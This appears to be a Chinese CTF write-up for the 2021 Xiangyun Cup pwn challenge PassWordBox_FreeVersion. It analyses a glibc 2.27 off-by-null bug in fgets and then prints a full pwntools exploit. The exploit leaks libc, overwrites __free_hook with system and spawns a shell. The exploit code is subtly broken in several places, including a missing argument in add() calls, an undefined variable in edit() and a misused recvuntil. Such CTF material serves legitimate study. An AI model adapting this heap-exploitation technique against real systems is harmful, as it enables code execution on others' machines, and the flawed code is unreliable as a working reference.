2021 祥云杯 pwn PassWordBox_FreeVersion

本文探讨了在2.27版本的glibc库环境下,通过利用fgets的offbynull漏洞,作者逐步构造攻击步骤,包括添加、编辑和删除函数的运用,最终实现密码绕过加密并利用`__free_hook`执行系统调用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

保护显然是全开。
libc给的是2.27.

在这里插入图片描述

进去有个这
在这里插入图片描述
在1309这里转一下代码
在这里插入图片描述
然后p创建函数,再F5过去就明明白白了

在这里插入图片描述所以就是给4040这里排了个随机数。

add
在这里插入图片描述
fgets这里显然有一个off by one,或者直接可以说成是off by null
fgets函数很有意思,它被截断后会在后面加一个’\x00’,这个字符是算在它那个最大输入里面的。然后如果不够最大的值,回车截断。
如果够了最大值,还会把最后那个字节变成’\x00’

edit
在这里插入图片描述
编辑功能限制了使用,只能用1次,读入大小也就16个字节。

show
在这里插入图片描述show也就正正常常。

free
在这里插入图片描述
free也是都清理干净了,所以就是一个2.27下的off by null。然后只能写一次。
但是要注意它读取密码的时候是会加密的。

exp

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *

context.log_level = "debug"

r = process("./pwdFree")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

def add(index,size, content): 
    r.sendlineafter("Input Your Choice:\n", "1")
    r.sendlineafter("Input The ID You Want Save:", str(index))
    r.sendlineafter("Length Of Your Pwd:", str(size))
    r.sendlineafter("Your Pwd:", content)

def add2(index,size, content): 
    r.sendlineafter("Input Your Choice:\n", "1")
    r.sendlineafter("Input The ID You Want Save:", str(index))
    r.sendlineafter("Length Of Your Pwd:", str(size))
    r.sendafter("Your Pwd:", content)

def dele(index):
    r.sendlineafter("Input Your Choice:\n", "4")
    r.sendlineafter("Idx you want 2 Delete:", str(index))

def edit(idx,content):
    r.sendlineafter("Input Your Choice:\n", "2")
    r.sendline(str(index))
    r.send(content)

def show(index):
    r.sendlineafter("Input Your Choice:\n", "3")
    r.sendlineafter("Idx you want 2 Delete:", str(index))


add('',0x20, '') #0
r.recvuntil("Save ID:")
r.recv(8)
key = u64(r.recv(8))

for i in range(7): #1-7
    add('aaaa',0xf8)

add('aaaa',0x28, "aaaa") #8
add('aaaa',0xf8, "aaaa") #9

for i in range(2):    #10-11
    add('aaaa',0x48, "aaaa")

add('aaaa',0x28, "aaaa")  #12
add('aaaa',0xf8, "aaaa")  #13
add('aaaa',0x28, "aaaa")  #14

for i in range(7):
    dele(i+1)

dele(12)
add2('aaaa',0x28,'a'*0x20+p64(0x1d0^key))

dele(9)
dele(13)

for i in range(8):  #1-7 ,9
    add('aaaa',0xf8, "aaaa")

show(10)
r.recvuntil("Pwd is: ")
libc_base = u64(r.recvuntil(8))^key  
libc_base -= 0x3ebca0 
free_hook=libc_base+libc.sym['__free_hook']
system_addr=libc_base+libc.sym['system']

add('aaaa',0x48, "aaaa") #13
dele(10)
edit(13,p64(free_hook))

add('d',0x40,p64(0x68732f6e69622f^key)) 
add('d',0x40,p64(system_addr^key))

dele(10)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值